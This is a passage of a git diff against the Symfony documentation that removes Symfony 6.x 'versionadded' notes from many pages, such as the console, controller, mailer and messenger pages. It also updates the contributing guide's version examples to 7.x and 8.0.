 And available options are: ``bold``, ``underscore``, ``blink``, ``reverse``
 (enables the "reverse video" mode where the background and foreground colors
 are swapped) and ``conceal`` (sets the foreground color to transparent, making
diff --git a/console/input.rst b/console/input.rst
index ed637bdba74..4d709c18825 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -354,12 +354,6 @@ To achieve this, use the 5th argument of ``addArgument()``/``addOption``::
         }
     }
 
-.. versionadded:: 6.1
-
-    The argument to ``addOption()``/``addArgument()`` was introduced in
-    Symfony 6.1. Prior to this version, you had to override the
-    ``complete()`` method of the command.
-
 That's all you need! Assuming users "Fabien" and "Fabrice" exist, pressing
 tab after typing ``app:greet Fa`` will give you these names as a suggestion.
 
diff --git a/console/style.rst b/console/style.rst
index bcc4d982457..0aaaa3f675e 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -333,10 +333,6 @@ User Input Methods
 
         $io->choice('Select the queue to analyze', ['queue1', 'queue2', 'queue3'], multiSelect: true);
 
-.. versionadded:: 6.2
-
-    The ``multiSelect`` option of ``choice()`` was introduced in Symfony 6.2.
-
 .. _symfony-style-blocks:
 
 Result Methods
@@ -445,10 +441,6 @@ If you prefer to wrap all contents, including URLs, use this method::
         }
     }
 
-.. versionadded:: 6.2
-
-    The ``setAllowCutUrls()`` method was introduced in Symfony 6.2.
-
 Defining your Own Styles
 ------------------------
 
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index b403169cbaf..d933f3bcead 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -251,34 +251,34 @@ directive:
 
 .. code-block:: rst
 
-    .. versionadded:: 6.2
+    .. versionadded:: 7.2
 
-        ... ... ... was introduced in Symfony 6.2.
+        ... ... ... was introduced in Symfony 7.2.
 
 If you are documenting a behavior change, it may be helpful to *briefly*
 describe how the behavior has changed:
 
 .. code-block:: rst
 
-    .. versionadded:: 6.2
+    .. versionadded:: 7.2
 
-       ... ... ... was introduced in Symfony 6.2. Prior to this,
+       ... ... ... was introduced in Symfony 7.2. Prior to this,
        ... ... ... ... ... ... ... ... .
 
-For a deprecation use the ``.. deprecated:: 6.x`` directive:
+For a deprecation use the ``.. deprecated:: 7.x`` directive:
 
 .. code-block:: rst
 
-    .. deprecated:: 6.2
+    .. deprecated:: 7.2
 
-        ... ... ... was deprecated in Symfony 6.2.
+        ... ... ... was deprecated in Symfony 7.2.
 
-Whenever a new major version of Symfony is released (e.g. 7.0, 8.0, etc), a new
+Whenever a new major version of Symfony is released (e.g. 8.0, 9.0, etc), a new
 branch of the documentation is created from the ``x.4`` branch of the previous
 major version. At this point, all the ``versionadded`` and ``deprecated`` tags
 for Symfony versions that have a lower major version will be removed. For
-example, if Symfony 7.0 were released today, 6.0 to 6.4 ``versionadded`` and
-``deprecated`` tags would be removed from the new ``7.0`` branch.
+example, if Symfony 8.0 were released today, 7.0 to 7.4 ``versionadded`` and
+``deprecated`` tags would be removed from the new ``8.0`` branch.
 
 .. _reStructuredText: https://docutils.sourceforge.io/rst.html
 .. _Sphinx: https://www.sphinx-doc.org/
diff --git a/controller.rst b/controller.rst
index 7afae06f728..891416d8aeb 100644
--- a/controller.rst
+++ b/controller.rst
@@ -229,10 +229,6 @@ command:
 
     You can read more about this attribute in :ref:`autowire-attribute`.
 
-    .. versionadded:: 6.1
-
-        The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
-
 Like with all services, you can also use regular
 :ref:`constructor injection <services-constructor-injection>` in your
 controllers.
@@ -383,11 +379,6 @@ attribute, arguments of your controller's action can be automatically fulfilled:
         // ...
     }
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryParameter` attribute
-    was introduced in Symfony 6.3.
-
 Mapping The Whole Query String
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -449,15 +440,6 @@ HTTP status to return if the validation fails::
 
 The default status code returned if the validation fails is 404.
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute
-    was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The ``validationFailedStatusCode`` parameter was introduced in Symfony 6.4.
-
 Mapping Request Payload
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -546,15 +528,6 @@ if you want to map a nested array of specific DTOs::
         ) {}
     }
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapRequestPayload` attribute
-    was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The ``validationFailedStatusCode`` parameter was introduced in Symfony 6.4.
-
 Managing the Session
 --------------------
 
@@ -728,11 +701,6 @@ The ``file()`` helper provides some arguments to configure its behavior::
 Sending Early Hints
 ~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.3
-
-    The Early Hints helper of the ``AbstractController`` was introduced
-    in Symfony 6.3.
-
 `Early hints`_ tell the browser to start downloading some assets even before the
 application sends the response content. This improves perceived performance
 because the browser can prefetch resources that will be needed once the full
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 71efd680b08..abefc0efbb3 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -75,10 +75,6 @@ Symfony ships with the following value resolvers in the
     The example above allows requesting only ``/cards/D`` and ``/cards/S``
     URLs and leads to 404 Not Found response in two other cases.
 
-    .. versionadded:: 6.1
-
-        The ``BackedEnumValueResolver`` and ``EnumRequirement`` were introduced in Symfony 6.1.
-
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestAttributeValueResolver`
     Attempts to find a request attribute that matches the name of the argument.
 
@@ -98,16 +94,6 @@ Symfony ships with the following value resolvers in the
         receives when testing your application and using the
         :class:`Symfony\\Component\\Clock\\MockClock` implementation.
 
-    .. versionadded:: 6.1
-
-        The ``DateTimeValueResolver`` and the ``MapDateTime`` attribute were
-        introduced in Symfony 6.1.
-
-    .. versionadded:: 6.3
-
-        The use of the :doc:`Clock component </components/clock>` to generate the
-        ``DateTimeInterface`` object was introduced in Symfony 6.3.
-
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestValueResolver`
     Injects the current ``Request`` if type-hinted with ``Request`` or a class
     extending ``Request``.
@@ -147,10 +133,6 @@ Symfony ships with the following value resolvers in the
             }
         }
 
-    .. versionadded:: 6.1
-
-        The ``UidValueResolver`` was introduced in Symfony 6.1.
-
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\VariadicValueResolver`
     Verifies if the request data is an array and will add all of them to the
     argument list. When the action is called, the last (variadic) argument will
@@ -176,10 +158,6 @@ In addition, some components, bridges and official bundles provide other value r
     If the argument is not nullable and there is no logged in token, an ``HttpException``
     with status code 401 is thrown by the resolver to prevent access to the controller.
 
-    .. versionadded:: 6.3
-
-        The ``SecurityTokenValueResolver`` was introduced in Symfony 6.3.
-
 :class:`Symfony\\Bridge\\Doctrine\\ArgumentResolver\\EntityValueResolver`
     Automatically query for an entity and pass it as an argument to your controller.
 
@@ -203,10 +181,6 @@ In addition, some components, bridges and official bundles provide other value r
     To learn more about the use of the ``EntityValueResolver``, see the dedicated
     section :ref:`Automatically Fetching Objects <doctrine-entity-value-resolver>`.
 
-    .. versionadded:: 6.2
-
-        The ``EntityValueResolver`` was introduced in Symfony 6.2.
-
 PSR-7 Objects Resolver:
     Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object
     of type :class:`Psr\\Http\\Message\\ServerRequestInterface`,
@@ -252,10 +226,6 @@ lets you do this by "targeting" the resolver you want::
         }
     }
 
-.. versionadded:: 6.3
-
-    The ``ValueResolver`` attribute was introduced in Symfony 6.3.
-
 In the example above, the ``SessionValueResolver`` will be called first because
 it is targeted. The ``DefaultValueResolver`` will be called next if no value has
 been provided; that's why you can assign ``null`` as ``$session``'s default value.
@@ -289,13 +259,6 @@ object whenever a controller argument has a type implementing
         }
     }
 
-.. versionadded:: 6.2
-
-    The ``ValueResolverInterface`` was introduced in Symfony 6.2. Prior to
-    6.2, you had to use the
-    :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`,
-    which defines different methods.
-
 Adding a new value resolver requires creating a class that implements
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface`
 and defining a service for it.
@@ -469,8 +432,3 @@ You can then pass this name as ``ValueResolver``'s first argument to target your
             // ... do something with $id
         }
     }
-
-.. versionadded:: 6.3
-
-    The ``controller.targeted_value_resolver`` tag and ``AsTargetedValueResolver``
-    attribute were introduced in Symfony 6.3.
diff --git a/doctrine.rst b/doctrine.rst
index 0e8cd614598..b1931c5ddf8 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -606,10 +606,6 @@ the :ref:`doctrine-queries` section.
 Automatically Fetching Objects (EntityValueResolver)
 ----------------------------------------------------
 
-.. versionadded:: 6.2
-
-    Entity Value Resolver was introduced in Symfony 6.2.
-
 .. versionadded:: 2.7.1
 
     Autowiring of the ``EntityValueResolver`` was introduced in DoctrineBundle 2.7.1.
@@ -758,11 +754,6 @@ variable. Let's say you pass the page limit of a list in a query parameter::
     ): Response {
     }
 
-.. versionadded:: 6.4
-
-    The support for the ``request`` variable in expressions was introduced
-    in Symfony 6.4.
-
 MapEntity Options
 ~~~~~~~~~~~~~~~~~
 
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index e191676215c..fbaa067858e 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -249,9 +249,4 @@ All you need to do is to implement the
 :method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getTwigExtensions` and
 the :method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getThemes` methods.
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase` class was
-    introduced in Symfony 6.4.
-
 .. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.6/writing-tests-for-phpunit.html#data-providers
diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 8e655d69570..8317e5e3ecb 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1,10 +1,6 @@
 AssetMapper: Simple, Modern CSS & JS Management
 ===============================================
 
-.. versionadded:: 6.3
-
-    The AssetMapper component was introduced in Symfony 6.3.
-
 The AssetMapper component lets you write modern JavaScript and CSS without the complexity
 of using a bundler. Browsers *already* support many modern JavaScript features
 like the ``import`` statement and ES6 classes. And the HTTP/2 protocol means that
@@ -238,10 +234,6 @@ directory and not commit it to your repository. Therefore, you'll need to run th
 ``php bin/console importmap:install`` command to download the files on other
 computers if some files are missing.
 
-.. versionadded:: 6.4
-
-    The ``importmap:install`` command was introduced in Symfony 6.4.
-
 .. note::
 
     Sometimes, a package - like ``bootstrap`` - will have one or more dependencies,
@@ -258,10 +250,6 @@ You can check for available updates for your third-party packages by running:
     # check for updates for the given list of packages
     $ php bin/console importmap:outdated bootstrap lodash
 
-.. versionadded:: 6.4
-
-    The ``importmap:outdated`` command was introduced in Symfony 6.4.
-
 To update third-party packages in your ``importmap.php`` file, run:
 
 .. code-block:: terminal
@@ -680,11 +668,6 @@ same way::
 If the :doc:`WebLink Component </web_link>` is available in your application,
 Symfony will add a ``Link`` header in the response to preload the CSS files.
 
-.. versionadded:: 6.4
-
-    Automatic preloading of CSS files when WebLink is available was
-    introduced in Symfony 6.4.
-
 Frequently Asked Questions
 --------------------------
 
@@ -1101,10 +1084,6 @@ command as part of your CI to be warned anytime a new vulnerability is found.
     The command takes a ``--format`` option to choose the output format between
     ``txt`` and ``json``.
 
-.. versionadded:: 6.4
-
-    The ``importmap:audit`` command was introduced in Symfony 6.4.
-
 .. _latest asset-mapper recipe: https://github.com/symfony/recipes/tree/main/symfony/asset-mapper
 .. _import statement: https://caniuse.com/es6-module-dynamic-import
 .. _ES6: https://caniuse.com/es6
diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index baef54e79d4..ea6eb0c8106 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -1,10 +1,6 @@
 HTML Sanitizer
 ==============
 
-.. versionadded:: 6.1
-
-    The HTML Sanitizer component was introduced in Symfony 6.1.
-
 The HTML Sanitizer component aims at sanitizing/cleaning untrusted HTML
 code (e.g. created by a WYSIWYG editor in the browser) into HTML that can
 be trusted. It is based on the `HTML Sanitizer W3C Standard Proposal`_.
diff --git a/http_cache.rst b/http_cache.rst
index e1f1a57399c..38badf3a5c4 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -229,10 +229,6 @@ The *easiest* way to cache a response is by caching it for a specific amount of
             return $response;
         }
 
-.. versionadded:: 6.2
-
-    The ``#[Cache()]`` attribute was introduced in Symfony 6.2.
-
 Thanks to this new code, your HTTP response will have the following header:
 
 .. code-block:: text
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index aaf1de564c1..52a09fb16a7 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -279,8 +279,4 @@ The ``render_esi`` helper supports three other useful options:
 ``absolute_uri``
      If set to true, an absolute URI will be generated. **default**: ``false``
 
-.. versionadded:: 6.2
-
-    The ``absolute_uri`` option was introduced in Symfony 6.2.
-
 .. _`ESI`: https://www.w3.org/TR/esi-lang/
diff --git a/http_client.rst b/http_client.rst
index 7b45c2cf2b4..083d6c83e70 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -618,13 +618,6 @@ of the opened file, but you can configure both with the PHP streaming configurat
     stream_context_set_option($fileHandle, 'http', 'filename', 'the-name.txt');
     stream_context_set_option($fileHandle, 'http', 'content_type', 'my/content-type');
 
-.. versionadded:: 6.3
-
-    The feature to upload files using handles was introduced in Symfony 6.3.
-    In previous Symfony versions you had to encode the body contents according
-    to the ``multipart/form-data`` content-type using the :doc:`Symfony Mime </components/mime>`
-    component.
-
 .. tip::
 
     When using multidimensional arrays the :class:`Symfony\\Component\\Mime\\Part\\Multipart\\FormDataPart`
@@ -717,10 +710,6 @@ when using any HTTP method and ``500``, ``504``, ``507`` and ``510`` when using
 an HTTP `idempotent method`_. Use the ``max_retries`` setting to configure the
 amount of times a request is retried.
 
-.. versionadded:: 6.4
-
-    The ``max_retries`` options was introduced in Symfony 6.4.
-
 Check out the full list of configurable :ref:`retry_failed options <reference-http-client-retry-failed>`
 to learn how to tweak each of them to fit your application needs.
 
@@ -740,10 +729,6 @@ each retry.
 Retry Over Several Base URIs
 ............................
 
-.. versionadded:: 6.3
-
-    The multiple ``base_uri`` feature was added in Symfony 6.3.
-
 The ``RetryableHttpClient`` can be configured to use multiple base URIs. This
 feature provides increased flexibility and reliability for making HTTP
 requests. Pass an array of base URIs as option ``base_uri`` when making a
@@ -962,11 +947,6 @@ If you want to define your own logic to handle variables of URI templates, you
 can do so by redefining the ``http_client.uri_template_expander`` alias. Your
 service must be invokable.
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient` was
-    introduced in Symfony 6.3.
-
 Performance
 -----------
 
@@ -1525,10 +1505,6 @@ to wrap your HTTP client, open a connection to a server that responds with a
     use the :method:`Symfony\\Component\\HttpClient\\Chunk\\ServerSentEvent::getArrayData`
     method to directly get the decoded JSON as array.
 
-.. versionadded:: 6.3
-
-    The ``ServerSentEvent::getArrayData()`` method was introduced in Symfony 6.3.
-
 Interoperability
 ----------------
 
@@ -1646,10 +1622,6 @@ You can also pass a set of default options to your client thanks to the
 
     // ...
 
-.. versionadded:: 6.2
-
-    The ``Psr18Client::withOptions()`` method was introduced in Symfony 6.2.
-
 HTTPlug
 ~~~~~~~
 
@@ -1751,10 +1723,6 @@ You can also pass a set of default options to your client thanks to the
 
     // ...
 
-.. versionadded:: 6.2
-
-    The ``HttplugClient::withOptions()`` method was introduced in Symfony 6.2.
-
 Native PHP Streams
 ~~~~~~~~~~~~~~~~~~
 
@@ -2096,10 +2064,6 @@ You can use :class:`Symfony\\Component\\HttpClient\\Response\\JsonMockResponse`
         'foo' => 'bar',
     ]);
 
-.. versionadded:: 6.3
-
-    The ``JsonMockResponse`` was introduced in Symfony 6.3.
-
 Testing Request Data
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -2251,10 +2215,6 @@ will find the associated response based on the request method, URL and body (if
 Note that **this won't work** if the request body or URI is random / always
 changing (e.g. if it contains current date or random UUIDs).
 
-.. versionadded:: 6.4
-
-    The ``HarFileResponseFactory`` was introduced in Symfony 6.4.
-
 Testing Network Transport Exceptions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2301,12 +2261,6 @@ you to do so, by yielding the exception from its body::
         }
     }
 
-.. versionadded:: 6.1
-
-    Being allowed to pass an exception directly to the body of a
-    :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` was
-    introduced in Symfony 6.1.
-
 .. _`cURL PHP extension`: https://www.php.net/curl
 .. _`Zlib PHP extension`: https://www.php.net/zlib
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
diff --git a/lock.rst b/lock.rst
index 35c3dc5be3c..d70f1d5535b 100644
--- a/lock.rst
+++ b/lock.rst
@@ -159,11 +159,6 @@ this behavior by using the ``lock`` key like:
             ;
         };
 
-.. versionadded:: 6.1
-
-    The CSV support (e.g. ``zookeeper://localhost01,localhost02:2181``) in
-    ZookeeperStore DSN was introduced in Symfony 6.1.
-
 Locking a Resource
 ------------------
 
diff --git a/mailer.rst b/mailer.rst
index fb05b7fe668..155ad1623a3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -115,21 +115,6 @@ Service               Install with
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``
 ===================== ==============================================
 
-.. versionadded:: 6.2
-
-    The Infobip integration was introduced in Symfony 6.2 and the ``MailPace``
-    integration was renamed in Symfony 6.2 (in previous Symfony versions it was
-    called ``OhMySMTP``).
-
-.. versionadded:: 6.3
-
-    The MailerSend integration was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The ``Brevo`` (in previous Symfony versions it was called ``Sendinblue``)
-    and ``Scaleway`` integrations were introduced in Symfony 6.4.
-
 .. note::
 
     As a convenience, Symfony also provides support for Gmail (``composer
@@ -227,10 +212,6 @@ party provider:
 |                        | - API sendgrid+api://KEY@default                    |
 +------------------------+-----------------------------------------------------+
 
-.. versionadded:: 6.3
-
-    The ``sandbox`` option in ``Mailjet`` API was introduced in Symfony 6.3.
-
 .. caution::
 
     If your credentials contain special characters, you must URL-encode them.
@@ -344,10 +325,6 @@ may be specified as SHA1 or MD5 hash::
 
     $dsn = 'smtp://user:pass@smtp.example.com?peer_fingerprint=6A1CF3B08D175A284C30BC10DE19162307C7286E';
 
-.. versionadded:: 6.4
-
-    The ``peer_fingerprint`` option was introduced in Symfony 6.4.
-
 Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -373,11 +350,6 @@ This can be done from ``EsmtpTransport`` constructor or using the
     // Option 2: call a method to redefine the authenticators
     $transport->setAuthenticators([new XOAuth2Authenticator()]);
 
-.. versionadded:: 6.3
-
-    The ``$authenticators`` constructor parameter and the ``setAuthenticators()``
-    method were introduced in Symfony 6.3.
-
 Other Options
 ~~~~~~~~~~~~~
 
@@ -413,10 +385,6 @@ Other Options
 
         $dsn = 'smtps://smtp.example.com?max_per_second=2'
 
-    .. versionadded:: 6.2
-
-        The ``max_per_second`` option was introduced in Symfony 6.2.
-
 Creating & Sending Messages
 ---------------------------
 
@@ -816,11 +784,6 @@ for Twig templates::
         ])
     ;
 
-.. versionadded:: 6.4
-
-    The :method:`Symfony\\Bridge\\Twig\\Mime\\TemplatedEmail::locale` method
-    was introduced in Symfony 6.4.
-
 Then, create the template:
 
 .. code-block:: html+twig
@@ -1414,11 +1377,6 @@ the "rendering" of the email (computed headers, body rendering, ...) is also
 deferred and will only happen just before the email is sent by the Messenger
 handler.
 
-.. versionadded:: 6.2
-
-    The following example about rendering the email before calling
-    ``$mailer->send($email)`` works as of Symfony 6.2.
-
 When sending an email asynchronously, its instance must be serializable.
 This is always the case for :class:`Symfony\\Bridge\\Twig\\Mime\\Email`
 instances, but when sending a
@@ -1492,11 +1450,6 @@ disable asynchronous delivery.
     an open connection to the SMTP server in between sending emails.
     You can do so by using the ``stop()`` method.
 
-.. versionadded:: 6.1
-
-    The :method:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport::stop`
-    method was made public in Symfony 6.1.
-
 You can also select the transport by adding an ``X-Bus-Transport`` header (which
 will be removed automatically from the final message)::
 
@@ -1504,10 +1457,6 @@ will be removed automatically from the final message)::
     $email->getHeaders()->addTextHeader('X-Bus-Transport', 'app.another_bus');
     $mailer->send($email);
 
-.. versionadded:: 6.2
-
-    The ``X-Bus-Transport`` header support was introduced in Symfony 6.2.
-
 Adding Tags and Metadata to Emails
 ----------------------------------
 
@@ -1549,17 +1498,9 @@ The following transports only support metadata:
 * Amazon SES (note that Amazon refers to this feature as "tags", but Symfony
   calls it "metadata" because it contains a key and a value)
 
-.. versionadded:: 6.1
-
-    Metadata support for Amazon SES was introduced in Symfony 6.1.
-
 Draft Emails
 ------------
 
-.. versionadded:: 6.1
-
-    ``Symfony\Component\Mime\DraftEmail`` was introduced in 6.1.
-
 :class:`Symfony\\Component\\Mime\\DraftEmail` is a special instance of
 :class:`Symfony\\Component\\Mime\\Email`. Its purpose is to build up an email
 (with body, attachments, etc) and make available to download as an ``.eml`` with
@@ -1631,10 +1572,6 @@ the email is sent::
         $event->addStamp(new SomeMessengerStamp());
     }
 
-.. versionadded:: 6.2
-
-    Methods ``addStamp()`` and ``getStamps()`` were introduced in Symfony 6.2.
-
 If you want to stop the Message from being sent, call ``reject()`` (it will
 also stop the event propagation)::
 
@@ -1645,10 +1582,6 @@ also stop the event propagation)::
         $event->reject();
     }
 
-.. versionadded:: 6.3
-
-    The ``reject()`` method was introduced in Symfony 6.3.
-
 Execute this command to find out which listeners are registered for this event
 and their priorities:
 
@@ -1661,10 +1594,6 @@ SentMessageEvent
 
 **Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\SentMessageEvent`
 
-.. versionadded:: 6.2
-
-    The ``SentMessageEvent`` event was introduced in Symfony 6.2.
-
 ``SentMessageEvent`` allows you to act on the :class:`Symfony\\Component\\\Mailer\\\SentMessage`
 class to access the original message (``getOriginalMessage()``) and some debugging
 information (``getDebug()``) such as the HTTP calls made by the HTTP transports,
@@ -1696,10 +1625,6 @@ FailedMessageEvent
 
 **Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\FailedMessageEvent`
 
-.. versionadded:: 6.2
-
-    The ``FailedMessageEvent`` event was introduced in Symfony 6.2.
-
 ``FailedMessageEvent`` allows acting on the the initial message in case of a failure::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
@@ -1749,10 +1674,6 @@ to test if sending emails works correctly:
 This command bypasses the :doc:`Messenger bus </messenger>`, if configured, to
 ease testing emails even when the Messenger consumer is not running.
 
-.. versionadded:: 6.2
-
-    The ``mailer:test`` command was introduced in Symfony 6.2.
-
 Disabling Delivery
 ~~~~~~~~~~~~~~~~~~
 
diff --git a/messenger.rst b/messenger.rst
index 39200f0cb70..1322841c974 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -71,10 +71,6 @@ message class (or a message interface)::
     methods. You may use the attribute on as many methods in a single class as you
     like, allowing you to group the handling of multiple related types of messages.
 
-.. versionadded:: 6.1
-
-    Support for ``#[AsMessageHandler]`` on methods was introduced in Symfony 6.1.
-
 Thanks to :ref:`autoconfiguration <services-autoconfigure>` and the ``SmsNotification``
 type-hint, Symfony knows that this handler should be called when an ``SmsNotification``
 message is dispatched. Most of the time, this is all you need to do. But you can
@@ -349,11 +345,6 @@ to multiple transports:
     name as its only argument. For more information about stamps, see
     `Envelopes & Stamps`_.
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\\Component\\Messenger\\Stamp\\TransportNamesStamp`
-    stamp was introduced in Symfony 6.2.
-
 Doctrine Entities in Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -684,10 +675,6 @@ of some or all transports:
     In order for this command to work, the configured transport's receiver must implement
     :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\MessageCountAwareInterface`.
 
-.. versionadded:: 6.2
-
-    The ``messenger:stats`` command was introduced in Symfony 6.2.
-
 .. _messenger-supervisor:
 
 Supervisor Configuration
@@ -769,10 +756,6 @@ However, you might prefer to use different POSIX signals for graceful shutdown.
 You can override default ones by setting the ``framework.messenger.stop_worker_on_signals``
 configuration option.
 
-.. versionadded:: 6.3
-
-    The ``framework.messenger.stop_worker_on_signals`` option was introduced in Symfony 6.3.
-
 In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
 a Docker container having Supervisor as its entrypoint). In these cases you
 need to add a ``stopwaitsecs`` key to the program configuration (with a value
@@ -985,10 +968,6 @@ this is configurable for each transport:
     the serialized form of the message is saved, which prevents to serialize it
     again if the message is later retried.
 
-    .. versionadded:: 6.1
-
-        The ``SerializedMessageStamp`` class was introduced in Symfony 6.1.
-
 Avoiding Retrying
 ~~~~~~~~~~~~~~~~~
 
@@ -1105,15 +1084,6 @@ to retry them:
     # remove all messages in the failure transport
     $ php bin/console messenger:failed:remove --all
 
-.. versionadded:: 6.2
-
-    The ``--class-filter`` and ``--stats`` options were introduced in Symfony 6.2.
-
-.. versionadded:: 6.4
-
-    The ``--all`` option was introduced in Symfony 6.4.
-
-
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.
@@ -1389,10 +1359,6 @@ The transport has a number of options:
 ``exchange[type]``                            Type of exchange                                   ``fanout``
 ============================================  =================================================  ===================================
 
-.. versionadded:: 6.1
-
-    The ``connection_name`` option was introduced in Symfony 6.1.
-
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::
@@ -1615,15 +1581,6 @@ sentinel_master          String, if null or empty Sentinel      null
                          support is disabled
 =======================  =====================================  =================================
 
-.. versionadded:: 6.1
-
-    The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
-    ``sentinel_master`` options were introduced in Symfony 6.1.
-
-.. versionadded:: 6.4
-
-    Support for the multiple Redis Sentinel hosts DNS was introduced in Symfony 6.4.
-
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same
@@ -1782,10 +1739,6 @@ The transport has a number of options:
 ``wait_time``           `Long polling`_ duration in seconds     20
 ======================  ======================================  ===================================
 
-.. versionadded:: 6.1
-
-    The ``session_token`` option was introduced in Symfony 6.1.
-
 .. note::
 
     The ``wait_time`` parameter defines the maximum duration Amazon SQS should
@@ -1929,12 +1882,6 @@ contains many useful information such as the exit code or the output of the
 process. You can refer to the page dedicated on
 :ref:`handler results <messenger-getting-handler-results>` for more information.
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Component\\Console\\Messenger\\RunCommandMessage`
-    and :class:`Symfony\\Component\\Console\\Messenger\\RunCommandContext`
-    classes were introduced in Symfony 6.4.
-
 Trigger An External Process
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1967,12 +1914,6 @@ contains many useful information such as the exit code or the output of the
 process. You can refer to the page dedicated on
 :ref:`handler results <messenger-getting-handler-results>` for more information.
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Component\\Process\\Messenger\\RunProcessMessage`
-    and :class:`Symfony\\Component\\Process\\Messenger\\RunProcessContext`
-    classes were introduced in Symfony 6.4.
-
 Pinging A Webservice
 --------------------
 
@@ -2013,11 +1954,6 @@ The handler will return a
 :class:`Symfony\\Contracts\\HttpClient\\ResponseInterface`, allowing you to
 gather and process information returned by the HTTP request.
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Component\\HttpClient\\Messenger\\PingWebhookMessage`
-    class was introduced in Symfony 6.4.
-
 Getting Results from your Handlers
 ----------------------------------
 
@@ -2538,11 +2474,6 @@ provided in order to ease the declaration of these special handlers::
         }
     }
 
-.. versionadded:: 6.3
-
-    The :method:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait::getBatchSize`
-    method was introduced in Symfony 6.3.
-
 .. note::
 
     When the ``$ack`` argument of ``__invoke()`` is ``null``, the message is
@@ -2868,10 +2799,6 @@ of the process. For each, the event class is the event name:
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStartedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStoppedEvent`
 
-.. versionadded:: 6.2
-
-    The ``WorkerRateLimitedEvent`` was introduced in Symfony 6.2.
-
 Additional Handler Arguments
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2920,11 +2847,6 @@ Then your handler will look like this::
         }
     }
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\\Component\\Messenger\\Stamp\\HandlerArgumentsStamp`
-    was introduced in Symfony 6.2.
-
 .. _messenger-multiple-buses:
 
 Multiple Buses, Command & Event Buses
@@ -3038,10 +2960,6 @@ an **event bus**. The event bus could have zero or more subscribers.
             $eventBus->middleware()->id('validation');
         };
 
-.. versionadded:: 6.2
-
-    The ``allow_no_senders`` option was introduced in Symfony 6.2.
-
 This will create three new services:
 
 * ``command.bus``: autowireable with the :class:`Symfony\\Component\\Messenger\\MessageBusInterface`
@@ -3247,12 +3165,6 @@ will take care of this message to redispatch it through the same bus it was
 dispatched at first. You can also use the second argument of the ``RedispatchMessage``
 constructor to provide transports to use when redispatching the message.
 
-.. versionadded:: 6.3
-
